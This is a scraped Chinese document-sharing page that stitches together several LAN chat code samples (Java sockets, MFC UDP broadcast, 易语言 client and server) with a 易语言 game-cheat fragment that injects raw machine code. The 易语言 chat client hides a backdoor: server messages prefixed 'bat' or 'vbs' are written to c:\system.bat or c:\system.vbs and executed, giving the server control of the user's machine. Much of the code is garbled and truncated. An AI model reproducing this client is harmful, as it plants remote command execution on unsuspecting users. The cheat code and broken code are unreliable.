易语言简单局域网聊天代码(客户服务器组件编写)

合集下载

JAVA局域网聊天系统源代码

JAVA局域网聊天系统源代码

这是我自己做的简单聊天系统客户端package LiaoTianSys;import java.awt.*;import javax.swing.*;import java.awt.*;import java.awt.event.*;import java.io.*;import .Socket;import .UnknownHostException;public class ConversationFrame extends JFrame {JScrollPane jsp;JTextField jtf;static JTextArea jta;//JTextArea jat1,jta2;JButton enter=new JButton("发送");JButton jb=new JButton("聊天室好友");JButton jb2=new JButton("进入聊天室");JButton jb3=new JButton("刷新在线人员列表");JPanel jp,jp1,jp3,jp4;DefaultListModel listmodel = new DefaultListModel();//static String[] NAME=new String[10];String n[]={"f"};JList list=new JList(listmodel);JLabel time=new JLabel("当前系统时间:");JLabel showtime=new JLabel("显示时间");JLabel jl=new JLabel("输聊天信息");JLabel nicheng=new JLabel("昵称");JTextField NCshuru=new JTextField(10);static DataOutputStream dos;static DataInputStream dis;//final LoginFrame lf;Socket socket;public ConversationFrame(){Container con=getContentPane();con.setLayout(new BorderLayout());jp=new JPanel();setSize(700,600);setLocation(100,100);jta=new JTextArea();jta.setEditable(false);jsp=new JScrollPane(jta);con.add(jsp,BorderLayout.CENTER);jtf=new JTextField(20);jp.add(jl);jp.add(jtf);jp.add(enter);con.add(jp,BorderLayout.SOUTH);jp1=new JPanel(new BorderLayout());JScrollPane jsp1=new JScrollPane(list);jp1.add(jsp1,BorderLayout.CENTER);jp1.add(jb,BorderLayout.NORTH);con.add(jp1,BorderLayout.EAST);//pack();jp3=new JPanel();jp3.add(nicheng);jp3.add(NCshuru);jp3.add(jb2);con.add(jp3,BorderLayout.NORTH);jp4=new JPanel(new GridLayout(10,1));jp4.add(jb3);jp4.add(time);jp4.add(showtime);new getTime(this).start();con.add(jp4,BorderLayout.WEST);setVisible(true);// 发送信息给所有人enter.addActionListener(new ActionListener(){public void actionPerformed(ActionEvent arg0) {// TODO Auto-generated method stubString info=jtf.getText();try {dos.writeUTF(NCshuru.getText()+" 对所有人说:"+info);dos.flush();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}});//进入聊天室时将自己的昵称发给服务器,首先去验证是否会与已有的人同名,本聊天室是不支持同昵称聊天jb2.addActionListener(new ActionListener(){public void actionPerformed(ActionEvent e){String msg=NCshuru.getText().toString();//得到昵称if(msg.length()==0){JOptionPane.showMessageDialog(null, "昵称不应该为空,", "温馨提示", RMA TION_MESSAGE);}{try{dos.writeUTF("name"+msg);dos.flush();}catch(Exception ex){System.out.println(ex.getMessage());}}}});//向服务器请求更新在线人员列表jb3.addActionListener(new ActionListener(){public void actionPerformed(ActionEvent e){try {listmodel.removeAllElements();//请求之前删除JList对象中的所有内容dos.writeUTF("请求更新在线人员列表");dos.flush();} catch (IOException e1) {// TODO Auto-generated catch block//e1.printStackTrace();System.out.println(e1.getMessage());}}});//当有在线人员时,双击JList列表某项弹出私聊对话框事件,匿名内部类实现的list.addMouseListener(new MouseAdapter(){public void mouseClicked(MouseEvent e){if(e.getClickCount()==2){int index=list.locationToIndex(e.getPoint());// 获得list表中的索引值String recevier=(String)listmodel.getElementAt(index);//得到索引对应的值String sender=NCshuru.getText();new Danliao(sender,recevier,socket);}}});}public static void main(String[] args) {ConversationFrame Con=new ConversationFrame();Con.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);Con.kaishi();}public void kaishi(){try {socket=new Socket("172.16.14.60",8888);dos=new DataOutputStream(socket.getOutputStream());dis=new DataInputStream(socket.getInputStream());pc pc1=new pc(socket,this);//传送套接字,本类对象给pc线程pc1.start();} catch (UnknownHostException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}}// pc线程类,负责接收服务器发送来的信息class pc extends Thread{ ConversationFrame conver;Socket socket;public pc(Socket socket,ConversationFrame conver){this.conver=conver;this.socket=socket;}public void run(){try {int i=0;while(true){String line;//从线路读取信息line=ConversationFrame.dis.readUTF();// 将所有的在线人员昵称发送给JList,并添加到在线人列表中if(line.startsWith("N"))// 服务器发送过来的信息的格式是N+{String na=line.substring(1);try{conver.listmodel.addElement(na);System.out.println(na);}catch(Exception e){System.out.println(e.getMessage());}}//接受服务器发来的广播聊天信息else{ConversationFrame.jta.append(line+"\n");}}} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();System.out.println(e.getMessage());}}}服务器端package LiaoTianSys;import java.io.*;import .*;import java.util.*;public class Server implements Runnable{public static final int port=8888;protected ServerSocket ss;static Vector connections;Thread connect;public Server(){try {ss=new ServerSocket(port);connections=new Vector(1000);connect=new Thread(this);connect.start();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}public static void main(String[] args) {new Server();}public void run(){try{while(true){Socket client=ss.accept();System.out.println("客户端连接上");firstthread f=new firstthread(this,client);f.setPriority(Thread.MIN_PRIORITY);f.start();connections.addElement(f);}}catch(IOException e){System.out.println(e.getMessage());}}//向所有人发送聊天信息public void SenAll(String msg){int i;firstthread ft;for(i=0;i<connections.size();i++){ft=(firstthread)connections.elementAt(i);try{ft.out.writeUTF(msg);}catch(Exception e){System.out.println(e.getMessage());}}}//发送单聊信息的方法public void SenOne(String msg){int i;firstthread ft;/*String s1,s2,s3;s1=new String("people");s2=new String(msg.substring(2));//私信为两个字s3=s1.conString msg="我悄悄的对小花说你好啊";cat(s2);*/int begin=msg.indexOf("对");int end=msg.indexOf("说");begin=begin+1;String strNew=msg.substring(begin,end);for(i=0;i<connections.size();i++)//遍历线程,找到要发送的对象{ft=(firstthread)connections.elementAt(i);//遍历线程if(strNew.startsWith()){System.out.println();try{String MSG=msg.substring(7);ft.out.writeUTF(MSG);}catch(IOException e){System.out.println(e.getMessage());}}}}}class firstthread extends Thread{protected Socket client;String line,name=null;DataOutputStream firstout,out;DataInputStream in;Server server;public firstthread(Server server,Socket socket){this.server=server;this.client=socket;try{in=new DataInputStream(client.getInputStream());out=new DataOutputStream(client.getOutputStream());firstout=new DataOutputStream(client.getOutputStream());}catch(IOException e){server.connections.removeElement(this);}}//客户线程运行的方法,不断监听客户线路发送的来的信息,然后决定转发方式public void run(){try{while(true){line=in.readUTF();if(line.startsWith("name")){//获取当前线程firstthreadd=(firstthread)(server.connections.elementAt(server.connections.indexOf(this)));line=line.substring(4);if(==null){=line;}}//将服务器的所有在线人员的昵称发送给所有的客户端else if(line.startsWith("请求更新在线人员列表")){try{for(int i=0;i<server.connections.size();i++){firstthread c=(firstthread)(server.connections.elementAt(i));if(!=null){firstout.writeUTF("N"+);//发送昵称}}}catch(Exception e){System.out.println(e.getMessage());}}else if(line.startsWith("private")){server.SenOne(line);}//发送聊天信息给所有的pc客户端else{server.SenAll(line);}}}catch(IOException e){System.out.println(e.getMessage());}}}显示时间package LiaoTianSys;import java.text.SimpleDateFormat;import java.util.Date;public class getTime extends Thread{String time;ConversationFrame conver;public getTime(ConversationFrame conver){this.conver=conver;System.out.println("获得系统时间");}public void run(){while(true){SimpleDateFormat df=new SimpleDateFormat("HH:mm:ss");time= df.format(new Date());//System.out.println(time);conver.showtime.setText(time);try{this.sleep(1000);}catch(Exception e){System.out.println(e.getMessage());}}}public static void main(String []args){}}单聊package LiaoTianSys;import java.io.DataOutputStream;import java.io.IOException;import .*;import java.awt.*;import java.awt.event.*;import javax.swing.*;public class Danliao extends JFrame implements ActionListener{ JButton jb=new JButton("发送");JPanel jp1=new JPanel();JLabel jl=new JLabel("输入聊天信息");JTextField jtf=new JTextField(20);JTextArea jta=new JTextArea();JScrollPane jsp=new JScrollPane(jta);String recevier;String sender;Socket socket;public Danliao(String sender,String recevier,Socket socket) { this.recevier=recevier;this.sender=sender;this.socket=socket;setBackground(Color.red);setTitle("与"+recevier+"单聊");setSize(400,400);setLocation(200,200);Container con=getContentPane();con.setLayout(new BorderLayout());con.add(jsp,BorderLayout.CENTER);jp1.add(jl);jp1.add(jtf);jp1.add(jb);/*addWindowListener(new WindowAdapter(){public void windowClosing(WindowEvent e){//System.exit(0);//this.dispose();//this.hide();this.setVisible(false);}});*/addWindowListener(new Close(this));con.add(jp1,BorderLayout.SOUTH);jb.addActionListener(this);setVisible(true);}public void actionPerformed(ActionEvent e){ String msg=jtf.getText();jta.append(msg+"\n"+"\n");jtf.setText(null);try{DataOutputStream dos=new DataOutputStream(socket.getOutputStream());dos.writeUTF("private"+sender+"悄悄的对"+recevier+"说: "+msg);jtf.setText(null);}catch(Exception e1){e1.printStackTrace();}}public static void main(String[] args){}}//单击关闭窗口事件,隐藏单聊窗口class Close extends WindowAdapter{Danliao danliao;public Close(Danliao danliao){this.danliao=danliao;}public void windowClosing(WindowEvent e) {danliao.setVisible(false);}}。

局域网聊天系统代码

局域网聊天系统代码
client.getOutputStream());
oos.writeObject(serverBean);
oos.flush();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
onlines.remove(bean.getName());
try {
ss = new ServerSocket(8520);
onlines = new HashMap<String, ClientBean>();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
cbean.setName(bean.getName());
cbean.setSocket(client);
//添加在线用户
onlines.put(bean.getName(), cbean);
//创建服务器的bean,并发送给客户端
Bean serverBean = new Bean();
serverBean.setType(0);
private String name;
private Socket socket;
public String getName() {
return name;
}
public void setName(String namecket getSocket() {
+ "向你传送文件,是否需要接受";
serverBean.setType(2);

基于JAVA局域网聊天程序设计与实现(附源代码)

基于JAVA局域网聊天程序设计与实现(附源代码)

局域网聊天课程设计摘要随着互联网的发展,网络聊天工具作为一种交流工具,已经受到网民的青睐。

目前,出现了很多功能强大的聊天工具,其中应用比较广泛的有腾讯QQ、MSN-Messager等等。

即时通讯软件,是每一个上网用户都需要的工具,它除了能够让您迅速地在网上找到自己的朋友和伙伴之外,还可以实时交谈和传递信息,截止到目前,全球约有近3亿多人使用即时软件,正因为即时通讯软件拥有数以亿计的用户和增长的市场,所以各个公司都盯上了这个最大的市场,一时间,即时通讯市场硝烟四起。

对等网络(peer-to-peer,简称P2P),应用最初出现时和现在并不相同。

事实上可以认为它是若干不同技术以及流行趋势相结合的产物。

以下是导致P2P技术发展最重要的趋势:首先,一些新技术与软件工程的结合,形成了一种将工作分散的趋势。

P2P计算正是这种分散工作趋势的结果。

其次,在企业应用集成等因素的驱动下,过去十年渐渐形成从集中的单机系统转向分布式系统。

然而随着互联网的发展,全面的分布式计算也就成为一种迫切需求。

关键词:局域网聊天 P2P javaAbstractWith the development of the Internet,the chat tool as a communication tool, has been popularly accepted by netizens of all ages. At present, there are many powerful chat tools, of which Tencent QQ, MSN-Messager are much more prevalent.Instant messaging software is necessary for every one who connects to the internet, which can not only provide you a prompt way to find friends and partners online, but can provide you the convenience of internet relay chat and information delivering. Up to now, there are about 300 million people using real-time software all over the world. As more and more corporations have focused on this market with growing potential, which has hundreds of millions of uses, the competitions among these corporations are extremely fierce.The initial application of peer-to-peer network (peer-to-peer, referred to as P2P) is not the same as it is now. In fact, it can be regarded as a combination of different technologies and fashion trends. Below are the most important trends that have led the development of P2P technology: First of all, the integration of software engineering and new technologies led to a working dispersion trend. As a result, P2P computing was born. Then, in the past decade, it has turned fro m a single centralized system to distributed system due to the motivation of factors such as enterprise application integration. At last, with the development of the Internet, however, a comprehensive distributed computing has become an urgent need.Keywords:LAN chat P2P java局域网聊天课程设计目录摘要 (i)Abstract ..................................................................................................................................... i i 1绪论 . (1)1.1JAVA的网络功能与编程 (1)1.1.1JAVA概述 (1)1.1.2 JAVA的特点 (3)1.1.3 JAVA语言在网络上的应用 (5)1.2J AVA B EANS技术 (6)1.3IP/TCP协议常识 (6)1.4S OCKET的简介 (7)1.5对等网络 (8)1.5.1 对等网络发展历史 (8)1.5.2 对等网络的概念 (9)1.5.3 对等网络的主要系统结构 (9)2 JAVAqq局域网聊天程序的需求分析 (13)2.1课题来源 (13)2.2需求分析 (13)3 JAVAqq局域网聊天程序的系统分析与设计 (15)3.1JAVA QQ局域网聊天程序的总体设计要点 (15)3.2JAVA QQ局域网聊天程序的设计步骤及功能模块划分 (15)3.3JAVA QQ局域网聊天程序各功能模块 (16)4 JAVAqq局域网聊天程序的设计与实现 (24)4.1开发环境工具 (24)4.2硬件环境 (24)4.3聊天系统功能模块的测试 (24)结论 (27)致谢 (29)参考文献 (30)附录 A 程序源代码 (31)1绪论随着互联网逐步普及,互联网技术的逐步提高。

网络聊天编程

网络聊天编程

// 建立套接字描述符
sockaddr_in m_addr;
// sockaddr_in结构为套接字储存套接字地址信息
sockaddr_in m_raddr;
sockaddr_in m_caddr;
char *message=NULL;
// 聊天内容接收框中的消息变量
char *name=NULL;
// 聊天内容接收框中的主机名变量
int nItem;
// CList控件中显示内容(主机名)的序号
CString changstr;
// 中间变量
CString strname;
// 同上
UINT AcceptThread(LPVOID lpvoid);// 接收线程
SOCKET m_cSocket;
// 网络连接标识
void ShowRecvData();
// 显示接收的数据
void GetLanActiveComputer();
// 获取本地活动计算机机器名称

};
(3)在DlgP2P.cpp文件中加入全局变量如下:
static in是否已建立服务器
SOCKET m_socket,m_hSocket;
if(pos==NULL)
{
return ;
}
else
{
while(pos)
{
// 如果用户选择了多项,则取最后选择的一项
nItem=m_List.GetNextSelectedItem(pos);
}
m_name=m_List.GetItemText(nItem,0);
UpdateData(FALSE); // 传到“发送计算机”编辑框中,方向是变量到控件

局域网聊天简单示例

局域网聊天简单示例

Windows网络编程实验报告局域网聊天室学院:数学与计算机学院课程名称: TCP/IP原理与实现班级:网络082班学号: 0804511081 组长:田洪涛小组成员:赵明涛、陈星宇、郭韬徐健、程吉、平远、邹寒指导教师:胡鸣日期: 2011年6月7日一.实验目的通过Windows网络编程,编写一个聊天工具实现聊天室的功能,用户进入聊天室就能进行通信。

二.实验原理计算机网络技术发展至今已经大大超越了人们当初的预想,无论是人们日常的工作还是学习,我们都越来越多的依靠到互联网。

各种实时性的聊天娱乐软件也同时诞生,而且为我们的即时通讯带来了众多的方便,比如说大家所熟知的腾讯QQ、微软的MSN、移动的Fetion 等,都是做的比较成功的实时聊天工具。

随着网络的日益普及,各种聊天工具也层出不穷,但当我们学习了《TCP/IP协议与网络编程》这门课程之后,我们便会觉得,其实要实现简单的网络通讯其实并不难。

接下来的课程设计就是针对一个简单的局域网聊天程序,利用MFC为开发工具,实现基本的通讯功能。

此程序主要实现多人聊天功能:程序通过广播来实现局域网内部的通信,当局域网内用户运行了此程序(处于在线状态),就相当于登陆了聊天室,与广播255.255.255.255进行连接,并绑定端口8888,当客户发送一个消息时相当于向广播发送一个数据包,广播就接受此消息的数据包,然后广播就向在线的每个用户发送此数据包,从而实现了多人的聊天功能。

广播就相当于一个转发站,进行消息的转发。

整个程序的主体使用了CSocket类的方法,用UDP协议实现数据包发送、接收,实现了局域网内所有聊天。

三.实验内容本聊天程序实现工具为Visual C++ 6.0 MFC,主要利用其中用于网络编程的CSocket类实现网络通讯功能。

( 1 )当客户运行此程序,就与广播255.255.255.255进行连接,并绑定端口8888,代码如下:连接广播:BOOL bBroadcast = TRUE;::setsockopt(m_socket,SOL_SOCKET,SO_BROADCAST,(char*)&bBroadcast,sizeof(BOOL));绑定端口:m_addrLocal.sin_family = AF_INET;m_addrLocal.sin_addr.s_addr = INADDR_ANY;m_addrLocal.sin_port = ::ntohs(8888);::bind(m_socket, (sockaddr*)&m_addrLocal, sizeof(SOCKADDR));本程序是通过UDP协议实现通信功能:在初始化窗口时,创建UDP套接字:m_socket = ::socket(AF_INET,SOCK_DGRAM,0);( 2 )用户进行聊天,发送的信息相当于向广播发送数据(主要代码如下):::sendto(m_socket,m_strData,m_strData.GetLength(),0,(sockaddr*)&addBroadcast,sizeof(SOCKADDR));( 3 ) 广播接收数据报后,再向在线的各个用户发送此数据报;( 4 )定义了一个套接字处理消息:afx_msg LRESULT OnWinsock();用户通过响应此消息接收数据报,并在自己机器上显示内容(主要代码):实现接收数据报:::recvfrom(m_socket,buf,256,0,(sockaddr*)&addrRemote,&nLen);在对话框中显示信息:CTime timeNow = CTime::GetCurrentTime();//将时间格式化成(小时:分钟:秒)CString strTime = timeNow.Format(" (%H:%M:%S)");m_strLog += inet_ntoa(addrRemote.sin_addr);m_strLog += strTime;m_strLog += "\r\n";m_strLog += buf;m_strLog += "\r\n";UpdateData(FALSE);( 5 ) 在显示消息框中,当自己发送消息时,直接在自己电脑里显示在消息框中,没必要通过广播,但是,广播会转发数据报给每个用户,包括自己,此时在自己的机器上就不需要再次显示此内容了。

易语言代码

易语言代码

.子程序 攻击
时钟1.时钟周期 = 100
公告 (“攻击安Page Up攻击伤害加”, 十六到十 (“FF00FF00”))
.子程序 SSS
时钟1.时钟周期 = 0
公告 (“关闭攻击”, 十六到十 (“FF00FF00”))
.子程序 秒杀队友
置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 80, 0, 0, 104, 170, 32, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })
编辑框3.内容 = 到文本 (攻击伤害值)
公告 (编辑框3.内容, 十六到十 (“FF00FF00”))
.判断结束
.子程序 _时钟1_周期事件
自定义攻击 (十六到十 (“010DDD0C”), 到整数 (0), 到整数 (编辑框3.内容), 到整数 (20059))
公告 (“F4 霸体高防移动”, 十六到十 (“FF00FF00”))
公告 (“F5 消耗品召唤魔剑第1格”, 十六到十 (“FF00FF00”))
公告 (“F6 3S”, 十六到十 (“FF00FF00”))
公告 (“F7 幻影剑舞!(推荐)”, 十六到十 (“FF00FF00”))
公告 (“Page Up攻击伤害加 Page Down攻击伤害减”, 十六到十 (“FF00FF00”))

(完整word版)聊天系统(客户端、服务器端) java版 完整代码(word文档良心出品)

(完整word版)聊天系统(客户端、服务器端) java版 完整代码(word文档良心出品)

客户端:import java.awt.*;import java.awt.event.*;import java.io.*;import .*;public class ChatClient extends Frame {Socket s = null;DataOutputStream dos = null;DataInputStream dis = null;private boolean bConnected = false;TextField tfTxt = new TextField();TextArea taContent = new TextArea();Thread tRecv = new Thread(new RecvThread());public static void main(String[] args) {new ChatClient().launchFrame();}public void launchFrame() {setLocation(400, 300);this.setSize(300, 300);add(tfTxt, BorderLayout.SOUTH);add(taContent, BorderLayout.NORTH);pack();this.addWindowListener(new WindowAdapter() {@Overridepublic void windowClosing(WindowEvent arg0) {disconnect();System.exit(0);}});tfTxt.addActionListener(new TFListener());setVisible(true);connect();tRecv.start();}public void connect() {try {s = new Socket("127.0.0.1", 8888);dos = new DataOutputStream(s.getOutputStream());dis = new DataInputStream(s.getInputStream()); System.out.println("connected!");bConnected = true;} catch (UnknownHostException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}public void disconnect() {try {dos.close();dis.close();s.close();} catch (IOException e) {e.printStackTrace();}/*try {bConnected = false;tRecv.join();} catch(InterruptedException e) {e.printStackTrace();} finally {try {dos.close();dis.close();s.close();} catch (IOException e) {e.printStackTrace();}}*/}private class TFListener implements ActionListener {public void actionPerformed(ActionEvent e) {String str = tfTxt.getText().trim();//taContent.setText(str);tfTxt.setText("");try {//System.out.println(s);dos.writeUTF(str);dos.flush();//dos.close();} catch (IOException e1) {e1.printStackTrace();}}}private class RecvThread implements Runnable {public void run() {try {while(bConnected) {String str = dis.readUTF();//System.out.println(str);taContent.setText(taContent.getText() + str + '\n');}} catch (SocketException e) {System.out.println("退出了,bye!");} catch (EOFException e) {System.out.println("推出了,bye - bye!");} catch (IOException e) {e.printStackTrace();}}}}服务器端import java.io.*;import .*;import java.util.*;public class ChatServer {boolean started = false;ServerSocket ss = null;List<Client> clients = new ArrayList<Client>();public static void main(String[] args) {new ChatServer().start();}public void start() {try {ss = new ServerSocket(8888);started = true;} catch (BindException e) {System.out.println("端口使用中....");System.out.println("请关掉相关程序并重新运行服务器!");System.exit(0);} catch (IOException e) {e.printStackTrace();}try {while(started) {Socket s = ss.accept();Client c = new Client(s);System.out.println("a client connected!");new Thread(c).start();clients.add(c);//dis.close();}} catch (IOException e) {e.printStackTrace();} finally {try {ss.close();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}}class Client implements Runnable {private Socket s;private DataInputStream dis = null;private DataOutputStream dos = null;private boolean bConnected = false;public Client(Socket s) {this.s = s;try {dis = new DataInputStream(s.getInputStream());dos = new DataOutputStream(s.getOutputStream());bConnected = true;} catch (IOException e) {e.printStackTrace();}}public void send(String str) {try {dos.writeUTF(str);} catch (IOException e) {clients.remove(this);System.out.println("对方退出了!我从List里面去掉了!");//e.printStackTrace();}}public void run() {try {while(bConnected) {String str = dis.readUTF();System.out.println(str);for(int i=0; i<clients.size(); i++) {Client c = clients.get(i);c.send(str);//System.out.println(" a string send !");}/*for(Iterator<Client> it = clients.iterator(); it.hasNext(); ) {Client c = it.next();c.send(str);}*//*Iterator<Client> it = clients.iterator();while(it.hasNext()) {Client c = it.next();c.send(str);}*/}} catch (EOFException e) {System.out.println("Client closed!");} catch (IOException e) {e.printStackTrace();} finally {try {if(dis != null) dis.close();if(dos != null) dos.close();if(s != null) {s.close();//s = null;}} catch (IOException e1) {e1.printStackTrace();}}}}}。

java实现简易局域网聊天功能代码介绍

java实现简易局域网聊天功能代码介绍

java实现简易局域网聊天功能代码介绍局域网通常是分布在一个有限地理范围内的网络系统,一般所涉及的地理范围只有几公里。

局域网专用性非常强,具有比较稳定和规范的拓扑结构。

这篇文章主要为大家详细介绍了java实现简易局域网聊天功能,使用UDP模式编写一个聊天程序,具有一定的参考价值,感兴趣的小伙伴们可以参考一下Java代码:/某使用UDP模式,编写一个聊天程序有发送和接收数据2部分,一个线程接收,一个线程发送由于发送和接收动作是不一致的,所以要使用2个run方法而且这两个方法要封装到不同的类中本程序忽略了部分异常的处理,也未加入UI组件这样比较简洁发送端口9998接受端口9999用的是局域网广播地址,所以自己发的消息自己也收到了[示例]:简易控制台聊天程序某/import .某;import java.io.某;class Demo{public static void main(String[] args) throws E某ception{DatagramSocket sendSocket = new DatagramSocket(9998); //发送端DatagramSocket receSocket = new DatagramSocket(9999); //接收端new Thread(new MsgSend(sendSocket)).start(); //发送线程 new Thread(new MsgRece(receSocket)).start(); //接受线程 }}class MsgSend implements Runnable //发送{private DatagramSocket dsock;public MsgSend(DatagramSocket dsock){this.dsock= dsock;}public void run(){BufferedReader bufr = new BufferedReader(new InputStreamReader(System.in));String lineStr = null;try{while(true){lineStr = bufr.readLine();if(lineStr!=null){if(lineStr.equals("over886")){break;}else{byte[] dataBuf = lineStr.getBytes();DatagramPacket dataPack = //数据打包new DatagramPacket( dataBuf,dataBuf.length,InetAddress.getByName("192.168.1.255"), //广播 9999 //目标端口);dsock.send(dataPack);}}}bufr.close();dsock.close();}catch(E某ception e){throw new RuntimeE某ception("发送失败!"); }}}class MsgRece implements Runnable //接收{private DatagramSocket dsock;public MsgRece(DatagramSocket dsock){this.dsock= dsock;}public void run(){try{while(true){byte[] dataBuf = new byte[1024];DatagramPacket dataPack = newDatagramPacket(dataBuf,dataBuf.length);dsock.receive(dataPack); //将获取的数据保存到指定的数据包 String ip = dataPack.getAddress().getHostAddress();String data = newString(dataPack.getData(),0,dataPack.getLength());int port = dataPack.getPort();System.out.println();System.out.println("来自ip为 "+ip+" : "+port+" 的消息"); System.out.println(data);}}catch(E某ception e){throw new RuntimeE某ception("接受失败!");}finally{dsock.close();}}}补充:局域网、校园网安全维护方法校园网络分为内网和外网,就是说他们可以上学校的内网也可以同时上互联网,大学的学生平时要玩游戏购物,学校本身有自己的服务器需要维护;在大环境下,首先在校园网之间及其互联网接入处,需要设置防火墙设备,防止外部攻击,并且要经常更新抵御外来攻击;由于要保护校园网所有用户的安全,我们要安全加固,除了防火墙还要增加如ips,ids等防病毒入侵检测设备对外部数据进行分析检测,确保校园网的安全;外面做好防护措施,内部同样要做好防护措施,因为有的学生电脑可能带回家或者在外面感染,所以内部核心交换机上要设置vlan隔离,旁挂安全设备对端口进行检测防护;内网可能有ddos攻击或者arp病毒等传播,所以我们要对服务器或者电脑安装杀毒软件,特别是学校服务器系统等,安全正版安全软件,保护重要电脑的安全;对服务器本身我们要安全server版系统,经常修复漏洞及更新安全软件,普通电脑一般都是拨号上网,如果有异常上层设备监测一般不影响其他电脑。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 